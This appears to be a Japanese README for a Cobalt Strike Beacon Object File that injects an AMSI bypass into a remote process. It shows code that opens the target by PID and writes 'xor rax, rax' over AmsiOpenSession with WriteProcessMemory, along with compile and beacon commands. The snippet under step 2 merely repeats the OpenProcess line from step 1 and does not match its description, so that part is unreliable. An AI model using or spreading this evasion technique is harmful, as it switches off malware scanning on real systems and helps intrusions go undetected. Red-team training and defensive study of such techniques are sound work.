Cobalt Strike BOF - AMSIバイパス注入
コードインジェクションを使用してリモートプロセス内のAMSIをバイパスするCobalt Strike Beacon Object File(BOF)です。
CobaltStrikeからのinject-amsiBypass BOFの実行

これは何をするものですか?
1. 指定されたPID引数を使用してリモートプロセスのハンドルを取得します
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
2. AMSI.DLLをビーコンのメモリにロードし、AMSI.AmsiOpenSessionのアドレスを取得します
hProc = KERNEL32$OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, (DWORD)pid);
- ビーコンとターゲットプロセスは両方ともシンボルに対して同じアドレスを持ちます。
- AMSI.DLLがリモートプロセスに存在しない場合、これを実行するとターゲットプロセスがクラッシュする可能性があります。
3. AMSIバイパスをリモートプロセスのメモリに書き込みます
unsigned char amsibypass[] = { 0x48, 0x31, 0xC0 }; // xor rax, rax
BOOL success = KERNEL32$WriteProcessMemory(hProc, amsiOpenSessAddr, (PVOID)amsibypass, sizeof(amsibypass), &bytesWritten);
メソッド = AMSI.AmsiOpenSession
- Offensive SecurityのPEN-300/OSEP(回避技術と防御突破)コースで教えられているAMSIバイパス技術を使用しています。
PoCデモスクリーンショット
前 - Powershell.exe AMSI.AmsiOpenSession

後 - Powershell.exe AMSI.AmsiOpenSession

x64 MinGWでのコンパイル:
x86_64-w64-mingw32-gcc -c inject-amsiBypass.c -o inject-amsiBypass.o
Cobalt Strike Beaconコンソールから実行
beacon> inject-amsiBypass <PID>
- inject-amsiBypass.cnaスクリプトをCobalt StrikeのScript Managerにロードしてください。
今後の課題
- 注入前にリモートプロセスにAMSI.DLLが存在することを確認する
- 他のAMSIバイパスを注入に追加する
- x86のサポート
クレジット / 参考文献
Raphael Mudge - Beacon Object Files - Luser Demo
Cobalt Strike - Beacon Object Files
BOF Code References
ajpc500/BOFs
trustedsec/CS-Situational-Awareness-BOF
Sektor7 Malware Dev Essentialsコース
Offensive Security OSEP